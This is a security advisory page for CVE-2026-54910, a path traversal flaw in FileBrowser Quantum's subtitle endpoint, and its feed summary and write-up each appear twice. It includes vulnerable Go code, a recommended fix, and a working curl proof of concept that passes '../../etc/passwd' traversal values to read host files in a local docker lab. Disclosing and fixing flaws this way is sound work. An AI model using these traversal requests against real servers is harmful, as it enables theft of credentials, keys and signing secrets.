Answer in brief
CVE-2026-54910 records a High severity path traversal vulnerability in FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Answer in brief
CVE-2026-54910 records a High severity path traversal vulnerability in FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPath Traversal describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-54910 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/gtsteffaniak/filebrowser/backendgo | <0.0.0-20260608182036-f3f4bbe80cb5 | 0.0.0-20260608182036-f3f4bbe80cb5 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-54910 records a High severity path traversal vulnerability in FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/gtsteffaniak/filebrowser/backend.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPath Traversal describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-54910 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/gtsteffaniak/filebrowser/backendgo | <0.0.0-20260608182036-f3f4bbe80cb5 | 0.0.0-20260608182036-f3f4bbe80cb5 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
CVE-2026-54910 records a High severity path traversal vulnerability in FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for github.com/gtsteffaniak/filebrowser/backend.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions. ### Recommended Fix Apply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter: ```go // http/media.go, subtitlesHandler // Sanitize path parameter (like all other handlers) path, err := utils.SanitizeUserPath(path) if err != nil { return http.StatusBadRequest, err } // Strip directory components from name to prevent traversal name = filepath.Base(name) ``` `SanitizeUserPath()` rejects any `..` segment. `filepath.Base("../../etc/passwd")` returns `"passwd"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.
### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`. Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys. ### Details **1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)** ```go userscope, err := d.user.GetScopeForSourceName(source) // ... realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization // ... parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory ``` `SanitizeUserPath()` explicitly rejects `..` segments: ```go func SanitizeUserPath(userPath string) (string, error) { // ... for _, segment := range segments { if segment == ".." { return "", fmt.Errorf("invalid path: path traversal detected") } } // ... } ``` Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required. **2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)** ```go name := r.URL.Query().Get("name") // line 37 — raw user input // ... content, err = utils.GetSubtitleSidecarContent( filepath.Join(parentDir, name)) // line 63 — TRAVERSAL ``` `filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor. **3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)** ```go func GetSubtitleSidecarContent(subtitlePath string) (string, error) { info, err := os.Stat(subtitlePath) // follows the traversed path // size check: < 50MB isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity content, err := os.ReadFile(subtitlePath) // reads and returns content return string(content), nil } ``` The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string. **4. Endpoint is behind `withUser` but requires no special permissions** ```go // httpRouter.go api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler)) ``` Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required. ### PoC **Vector 1: `path` traversal (no anchor file needed):** ```bash docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. **Vector 2: `name` traversal (anchor file required):** ```bash mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3 TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"') curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN" ``` **Expected output:** `/etc/passwd` contents with HTTP 200. ### Impact - **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for. - **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed. - **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system. - **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets. - **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens. - **No special permissions required**: The endpoint only requires basic authentication: no admin, modify, share, or download permissions. ### Recommended Fix Apply `SanitizeUserPath()` to the `path` parameter and `filepath.Base()` to the `name` parameter: ```go // http/media.go, subtitlesHandler // Sanitize path parameter (like all other handlers) path, err := utils.SanitizeUserPath(path) if err != nil { return http.StatusBadRequest, err } // Strip directory components from name to prevent traversal name = filepath.Base(name) ``` `SanitizeUserPath()` rejects any `..` segment. `filepath.Base("../../etc/passwd")` returns `"passwd"`, preventing traversal via `name`. Additionally, consider adding a file extension allowlist to restrict `name` to subtitle formats (`.srt`, `.vtt`, `.ass`, `.ssa`, `.sub`) only.